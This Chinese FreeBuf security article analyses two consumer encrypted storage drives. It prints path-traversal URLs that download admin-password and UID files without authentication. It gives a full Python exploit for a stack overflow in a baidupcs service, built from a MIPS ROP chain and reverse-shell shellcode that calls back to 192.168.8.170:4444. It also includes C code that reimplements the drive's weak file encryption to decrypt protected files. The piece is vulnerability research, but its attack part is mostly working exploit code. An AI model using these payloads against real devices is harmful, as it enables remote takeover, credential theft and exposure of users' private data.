freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

加密设备攻防(二)- 智能设备篇
2021-02-04 13:08:58

前言

随着电子信息产业的高速发展,电子产品对于各类数据处理的技术愈加强大,在为人们的工作及社交带来了许多便捷与乐趣的同时,人们在日常生活中对各类电子设备过于依赖的问题也显而易见,所以,一旦保管不当,我们存储其中的各类数据也将面临着不同程度的安全隐患。而今,人们对于数据安全性的意识越来越高,各种加密型的电子设备在我们生活中也变得越来越常见。

不过,加过密型电子设备就完全安全吗?答案显然是否定的。十九世纪初,人们开始发明各种机械加密设备对数据进行加密处理,最著名的是二战时期被法西斯同盟国之间频繁用来传递情报的轮转密码机,不过后来被盟军攻破,从一定程度上推进了法西斯的瓦解、改变了最终的战局。放眼如今,加密技术在攻防双方的不断博弈中,一直完善和改进,越来越牢靠的守护着信息时代里人们的数据安全。

在上一篇——加密设备攻防(一)中我们介绍了几种加密设备的破解思路,本文我们针对另外几种智能设备继续探讨其破解方法。


某家存储网络硬盘的漏洞

这是一款带网口的家庭存储硬盘,可以通过手机 app 进行远程管理。

设备与客户端通信


这款硬盘使用 TUTK IOTC 平台进行 p2p 通信。接上网线后,只需要在客户端输入设备的 UID 和管理员设置的密码,就可以远程连接管理硬盘数据。TUTK IOTC平台的 p2p 建立连接后,设备向客户端发送数据的流程图如下,首先初始化 iotc 平台,随后创建 login 线程,监听客户端的连接,会话建立后,向客户端发送数据。


1610702334_60015dfef1ae7e97e3a13.png!small


而作为设备与客户端通信的进程为 p2pIotc,拖到 ida 中分析,sub_402E64 函数通过读取 /etc/config/tunnelid.dat 文件来得到设备的 UID,在函数 sub_402AF8 读取 /etc/web_pwd.txt 文件得到管理密码,用来用户登入验证。


1610702347_60015e0b2213bc8297e2d.png!small


1610702358_60015e168d45796599d16.png!small

隐私空间漏洞


这款硬盘还设立了隐私空间,也就是加密文件夹,加密文件后将文件移动到加密目录下。当通过app客户端成功登录硬盘时,首先 fs_httpd 进程会读取配置文件“/etc/private_dir_pwd“中的保存隐私空间的密码,用于之后打开隐私空间作密码校验。但是通过在web客户端或网络文件夹登录时访问这个隐私空间时,却形同虚设,与普通文件夹无区别。


1610702394_60015e3a8af16ab87a487.png!small


getFile.cgi 任意文件下载


在 /www/cgi-bin/get/ 目录下,其中有个 getFile.cgi 的 cgi 网关接口文件,在没有登入验证的情况下,内网中可直接下载硬盘的任意文件,代码如下


1610702407_60015e4756840edaccaf8.png!small



在同内网中,在web浏览器中访问设备:

http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/config/tunnelid.dat

http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/web_pwd.txt

http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/private_dir_pwd

可直接下载配置文件 tunnelid.dat 、web_pwd.txt 和 private_dir_pwd ,用于远程登入。


1610702421_60015e55d3aa1076c04e3.png!small

某智能加密硬盘的漏洞


这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。


1610702437_60015e657e1eca716799b.png!small



攻击思路


1610702464_60015e80c1a6fd7d67b3a.png!small



第一步:硬盘的工作原理


下载智能硬盘手机 app,登录 app 远程连接硬盘,通过路由器进行抓包,发现其由 80 端口与手机 app 通信。

1610702476_60015e8cb144a2a4fa32d.png!small



通过串口调试进入 shell,运行 netstat 命令查看系统端口进程,其中 80 端口进程为 lighttpd。分析后找到其位于/etc/lighttpd/ 目录下的配置文件 lighttpd.conf,如图 3 可以看到其中 include 包含了当前 conf.d/ 目录下的 proxy.conf 文件。



1610702490_60015e9aa51bf39ec4bee.png!small



将 proxy.conf 文件的代理服务整理如下:


urlport进程描述
protocol.csp81ioosApp 交互
system.csp81ioos系统
netip.csp81ioos
sysfirm.csp81ioos
index.csp81ioos
dldlink.csp81ioos
error.csp81ioos
upload.csp9082
上传
dlna.csp8200minidlnaDLNA共享
control.csp8201control视频音频控制
dropbox.csp8300
dropbox云存储
baidupcs.csp8400baidupcs百度网盘
p2p.csp8212
p2p远程通信
download.csp82
下载
vpn.csp8500
vpn


第二步:漏洞挖掘

将 baidupcs(百度网盘)作为测试目标,使用fuzz测试登录网盘发现了 crash。

1610702505_60015ea9b2931ee05c672.png!small


baidupcs 进程打印出如下信息,最终出现了 Segmentation fault 错误


1610702518_60015eb65f97afffe6016.png!small


定位溢出代码

打开 ida,搜索上面打印的调试信息的关键字,如 getvaluefrom_url。

关键代码 sub_43B230 如下,0x43b5dc 处调用 get_value_from_url 函数获取 username 的值时,由于缓冲区只有 1028 字节, 在对长度未进行检查的情况下,将获取username值直接放入缓存区造成溢出。


1610702538_60015eca6859fc098005a.png!small



第三步:漏洞利用

我们需要跳转到堆栈中执行 shellcode,结合 mipsrop ida 插件,现在开始构造 rop


先修改寄存器的值

mipsrop.find("lw $ra, ") 修改寄存器


1610702560_60015ee023f4981b794a6.png!small



找到 sleep 函数的参数

mipsrop.find("li $a0,1") 作为 sleep 的参数 $a0 赋值,其中 $s4 做为下一个 gadget 的地址

1610702686_60015f5e722f30617aa84.png!small



调用 sleep 函数

接着调用 sleep 函数刷新缓存,并在返回后执行下一个 gadget ($ra)。使用 mipsrop.tail(),准备跳转 $s1 为 sleep 的地址,这里填充 ra 寄存器,地址 0x1E8AC 执行 0x28 + var_4($sp) 是将执行后 sleep 返回的地址。

1610702698_60015f6adf804b7c39cba.png!small



运行 shellcode

使用 mipsrop.stackfinder() 将 shellcode 的地址放入寄存器 s0

1610702709_60015f751629c279516d5.png!small



mipsrop.find("move $t9,$s0") 跳转到 s0 去执行

1610702719_60015f7f352aa7ff5247c.png!small


创建exploit

#!/usr/bin/env python
import sys
import string
import socket
import struct
import urllib, urllib2, httplib

class MIPSPayload:
BADBYTES = [0x00]
LITTLE = "little"
BIG = "big"
FILLER = "A"
BYTES = 4
NOP = "\x27\xE0\xFF\xFF"

def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes

def Add(self, data):
self.shellcode += data

def Address(self, offset, base=None):
if base is None:
 base = self.libase

return self.ToString(base + offset)

def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))

def AddBuffer(self, size, byte=FILLER):
self.Add(byte * size)

def AddNops(self, size):
if self.endianess == self.LITTLE:
 self.Add(self.NOP[::-1] * size)
else:
 self.Add(self.NOP * size)

def ToString(self, value, size=BYTES):
data = ""

for i in range(0, size):
 data += chr((value >> (8*i)) & 0xFF)

if self.endianess != self.LITTLE:
 data = data[::-1]

return data

def Build(self):
count = 0

for c in self.shellcode:
 for byte in self.badbytes:
     if c == chr(byte):
         raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
 count += 1

return self.shellcode

def Print(self, bpl=BYTES):
i = 0

for c in self.shellcode:
 if i == 4:
     print ""
     i = 0

 sys.stdout.write("\\x%.2X" % ord(c))
 sys.stdout.flush()

 if bpl > 0:
     i += 1
print "\n"

class HTTP:

HTTP = "http"
HTTPS = "https"

def __init__(self, host, proto=HTTP, verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose

def Encode(self, string):
return urllib.quote_plus(string)

def Send(self, uri, headers={}, data=None, response=False):
html = ""

if uri.startswith('/'):
 c = ''
else:
 c = '/'

url = '%s://%s%s%s' % (self.proto, self.host, c, uri)
if self.verbose:
 print url

if data is not None:
 data = urllib.urlencode(data)

url = url + data
req = urllib2.Request(url, data, headers)
# print url
rsp = urllib2.urlopen(req)

if response:
 html = rsp.read()

return html

def makepayload(host,port):
print '[*] prepare shellcode',
hosts = struct.unpack('<cccc',struct.pack('<L',host))
ports = struct.unpack('<cccc',struct.pack('<L',port))

#print hosts,ports

# sys_socket
# a0: domain
# a1: type
# a2: protocol
mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404

# sys_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90
mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90
mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01
mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101
mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
mipselshell+="\x4a\x10\x02\x24"   # li v0,4170 # sys_connect
mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404

# sys_dup2
# a0: oldfd (socket)
# a1: newfd (0, 1, 2)
mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
mipselshell+="\xff\xff\x10\x24"   # li s0,-1
mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>

# sys_execve
# a0: filename (stored on the stack) "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (null)
mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "//"
mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404
print 'ending ...'
return mipselshell

if __name__ == '__main__':

libc_base = 0x77c1f000
sip='192.168.8.170'     #reverse_tcp local_ip
sport = 4444            #reverse_tcp local_port

host = socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
shellcode = makepayload(host,sport)

try:
ip = sys.argv[1]
except:
print "Usage: %s <target ip>" % sys.argv[0]
sys.exit(1)

payload = MIPSPayload(endianess="little", badbytes=[])
payload.AddBuffer(1036)                            # fill offset = 1036
payload.AddAddress(0x49818, base=libc_base)    # gadget 1: mipsrop.find("lw $ra, ") Modify register
payload.AddAddress(0x0047E758)            # arg1
payload.AddAddress(0x0047F758)            # arg2
payload.AddAddress(0x00480758)            # arg3
payload.AddBuffer(0xC)                                # fill
payload.AddBuffer(0x4)                                # s0
payload.AddAddress(0x4E320, base=libc_base)            # s1 sleep addr 0x4E320              
payload.AddBuffer(0x4)                                # s2
payload.AddBuffer(0x4)                                # s3
payload.AddAddress(0x1E8AC, base=libc_base)            # s4 gadget 3: mipsrop.tail()            
payload.AddBuffer(0x4)                                # s5
payload.AddBuffer(0x4)                                # s6
payload.AddBuffer(0x4)                                # s7
payload.AddBuffer(0x4)                                # fp
payload.AddAddress(0x4F970, base=libc_base)            # gadget 2: mipsrop.find("li $a0,1")                
# payload.AddBuffer(0x40)                               # addiu $sp, 0x40
payload.AddBuffer(0x1C)                                # 0x28 - 0xc = 0x1c  
payload.AddAddress(0x4AC20, base=libc_base)            # s1 gadget 5: mipsrop.find("move $t9,$s0")
payload.AddBuffer(0x4)                                # s2
payload.AddAddress(0x16BC8, base=libc_base)            # ra gadget 4: mipsrop.stackfinder()        
payload.AddBuffer(0x4)                                # s0
# payload.AddBuffer(0x28)
payload.AddBuffer(0xC)                                # 0xD8 - 0xC8 => 0x10 - 0x4 = 0xC
payload.Add(shellcode)

pdata = {
'opt'   : 'Login',
'state'               : 'login',
'username'           :  payload.Build()
}

try:
HTTP(ip).Send('baidupcs.csp', data=pdata)
except httplib.BadStatusLine:
print "Payload delivered."
except Exception, e:
print "Payload delivery failed: %s" % str(e)


漏洞存在的原因在于,调用 getvaluefrom_url 函数时,缺少对 username 等值进行长度检查校验,而直接写入缓冲区中,导致了栈溢出。通过漏洞攻击者可直接获取到远程管理的密码,进行登入操作。


1610702759_60015fa78ee1f366daf02.png!small




第四步:文件加密分析


使用手机 app 进行文件加解密,然后通过路由器抓取数据包,其加解密 url path为 protocol.csp,根据前面整理的表格,其使用的端口是 81 端口。接下来分析此时监听 81 端口的所属进程 ioos。


1610702771_60015fb3e96478d3e788a.png!small



文件加密和解密数据包使用 wireshark 分析,再通过数据包的关键信息定位到加解密位置。


1610702784_60015fc0dc04951354cf8.png!small



开始调试前,我们先查看一下加密前后的文件

创建一个 test.txt 文件,并写入内容: abc


1610702794_60015fca8ee1822ac797e.png!small


通过硬盘 app 进行加密,key 为 123,加密后文件加上了.enc后缀,查看 /tmp/ioos.log 日志信息

1610702805_60015fd5a798b0e58ebbe.png!small


查看 test.txt.enc 文件,其中尾部202cb962ac59075b964b07152d234b70是 test.txt 加密key 123 的 md5 值(0x20字节),而前面“fe2889d36e2045f4a3d362445aaaf72e”(0x20字节)接下代码中会遇到。


1610702816_60015fe01181108a9d310.png!small


gdb + ida 动态调试


将编译 mipsel 架构 gdb 后生成的 gdbserver 拷贝到硬盘 /tmp 目录。

远程附加调试

在关键函数 sub_414260 处下断点,此函数参数一为解密文件路径,为解密key的md5值

1610702826_60015fead8bdcf7693f96.png!small


比较成功后,调用 stat64 返回文件信息

1610702836_60015ff4c1cd45c569bb4.png!small


判断文件字节数是否大于 2k (0x2000字节),若小于0x2000字节,则拷贝 md5 值的前 16 位

1610702861_6001600d85a53aa215580.png!small


打开文件,判断文件大小是否小于 0x41,然后移动文件指针至 0x3 字节处,也就是密文(0x3字节)后面的内容处

1610702886_600160265552ada86fe4e.png!small

1610702896_600160303daf426fefbec.png!small


strncmp 比较密文尾部前0x20字节是否为 "fe2889d36e2045f4a3d362445aaaf72e",查看前面的.enc文件可知,这正是 md5 值前面的 0x20 字节。紧接着比较 md5 值。

1610702920_60016048edfe18175ad32.png!small

1610702929_60016051811779d749b48.png!small


调用 ftruncate64 打开的解密文件截断到指定的长度(0x3)。

1610702946_60016062bb0362fb731a2.png!small


读取密文,然后调用解密函数 sub_404E28。

1610702959_6001606fbe813a18611cd.png!small

1610702967_6001607798c1606fbc259.png!small


加解密函数 sub_404E28,首先建立 0x0 -- 0xff 的数组,利用 md5 值前 16 位生成 0x100 位字节数组。

1610702979_60016083e1389644096c6.png!small


然后通过生成的字节数组对文件内容进行加密或解密。

1610702990_6001608e348687ee494ae.png!small


解密成功

将上面的加解密函数其转换为 c 语言代码。

#include <stdio.h>
#include <stdlib.h>
#include <cstdint>
#include <string.h>
#include <direct.h>
#include <sys/stat.h>

#define FLAG "fe2889d36e2045f4a3d362445aaaf72e"

// 若文件内容小于 0x2000 字节则每个字节进行加密,且 key 为 md5(key, 32) 的前 0x10 位
// 若文件内容大于 0x2000 字节则只对文件的前后各 0x1000 字节进行加密,且 key 为 md5(key, 32) 的全部 0x20 位

int enc_fun(char* pContent, char* pKey, uint32_t uFileLen)
{
// 生成 0 - 0x100 数组
uint8_t arr[0x100];
for (uint32_t i = 0; i < 0x100; ++i)
arr[i] = i;
// 利用 md5值 前 16 位生成 hash 表
uint32_t a0 = 0, t0 = 0, t2 = 0, len = 0, a1 = 0, a2 = 0, LO = 0, HI = 0;
uint32_t v1 = (uint32_t)arr, a3 = (uint32_t)arr;
uint32_t t1 = (uint32_t)arr + 0x100;
while (a3 != t1) {
a1 = pKey[a0];
a0++;
len = strlen(pKey);
LO = a0 / len;
HI = a0 % len;
a2 = *((uint8_t*)a3);    // a3 为 arr 的首地址
a3++;
a1 += a2;
a1 += t0;
a1 &= 0xff;
t0 = a1 & 0xff;
a1 = v1 + a1;
t2 = *((uint8_t*)a1);
*((uint8_t*)a3 - 1) = t2;
*((uint8_t*)a1) = a2;
a1 = HI;
a0 = a1 & 0xff;
}

// 对内容进行加密或解密
bool isSuccessful = false;
uint64_t v0 = 0, s1 = uFileLen;
uint32_t s2 = (uint32_t)pContent;
a2 = 0, a1 = 0;
while (1)
{
// s1 = strlen(content);
if (v0 < s1)
 a0 = 1;
else
 a0 = 0;

if (a0) {
 a0 = a1 + 1;
 a0 &= 0xff;
 a1 = a0 & 0xff;
 a0 = v1 + a0;
 a3 = *((uint8_t*)a0);        // *((uint8_t*)a0)
 a2 += a3;
 a2 &= 0xff;
 t0 = v1 + a2;
 t1 = *((uint8_t*)t0);
 *((uint8_t*)a0) = t1;
 *((uint8_t*)t0) = a3;
 a0 = *((uint8_t*)a0);
 t0 = s2 + v0;    // s2 为 content 的首地址,以 v0 迭代
 a3 += a0;
 a3 &= 0xff;
 a0 = *((uint8_t*)t0);
 a3 = *((uint8_t*)v1 + a3);    // *((uint8_t*)v1 + a3)
 v0++;
 a3 = a0 ^ a3;
 // seh     $v0             # 符号扩展半字
 *((uint8_t*)t0) = a3;
}
else {
 return true;
}
}
return false;
}

int enc_file(char* pfilename)
{
// 打开文件
FILE* pFile = NULL;
//     char filename[260];
//     printf("filepath:");
//     scanf_s("%s", filename, 260);
if (fopen_s(&pFile, pfilename, "rb") != 0) {
printf("打开文件失败\n");
}

fseek(pFile, 0, SEEK_END);
uint64_t Length = ftell(pFile);

// 获取文件字节数
struct _stat64 info;
_stat64(pfilename, &info);
uint64_t fileSize = info.st_size;
printf("该文件一共 %lld 字节\n", fileSize);

// 求出原文件字节数
uint64_t fileLen = fileSize - 0x40;

// 读取 FLAG
char flag[0x21] = { 0 };
fseek(pFile, fileLen, SEEK_SET);
fread_s(flag, 0x21, 0x20, 1, pFile);
if (strncpy_s(flag, FLAG, 0x20))
{
printf("格式错误\n");
return -1;
}
// printf("flag: %s\n", flag);

// 获取 key
char md5[0x21] = { 0 };
uint32_t encSize = 0;
bool enctail = false;

if (fileLen > 0x2000) {
// 文件内容大于 0x2000 字节 读取 0x20 位key, 解密前 0x1000 字节
fread_s(md5, 0x21, 0x20, 1, pFile);
encSize = 0x1000;
enctail = true;
}
else {
// 文件内容小于 0x2000 字节 读取 0x10 位key, 解密所有字节
fread_s(md5, 0x21, 0x10, 1, pFile);
encSize = fileLen;
}

printf("md5: %s\n", md5);

// 读取密文
// char content[] = "\xfa\xe3\x80";
char* content = NULL;
content = (char*)calloc(fileLen + 1, sizeof(char));
if (content == NULL)//申请后判定是否申请成功
{
return 0;
}
fseek(pFile, 0, SEEK_SET);  //首先移动到文件开头再读取
fread_s(content, fileLen + 1, fileLen, 1, pFile);
fclose(pFile);

// 调用解密函数,或解密首部 0x1000 字节
if (!enc_fun(content, md5, encSize))
{
printf("解密失败\n");
return -1;
}

// 是否需要解密尾部 0x1000 字节
if (enctail)
{
// 解密尾部 0x1000 字节
char* tailcont = content + fileLen - 0x1000;
if (!enc_fun(tailcont, md5, encSize)) {
 printf("解密失败\n");
 return -1;
}
}

//printf("写入新文件\n");
int nlen = strlen(pfilename);
pfilename[nlen - 4] = NULL;
FILE* pfile = NULL;
if (fopen_s(&pfile, pfilename, "wb") != 0)
{
printf("创建文件失败\n");
return -1;
}
fwrite(content, fileLen, 1, pfile);
fclose(pfile);
free(content);
printf("解密文件写入成功!!!\n\n");

return 0;
}


(原创内容,转载需注明出处。)

# 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者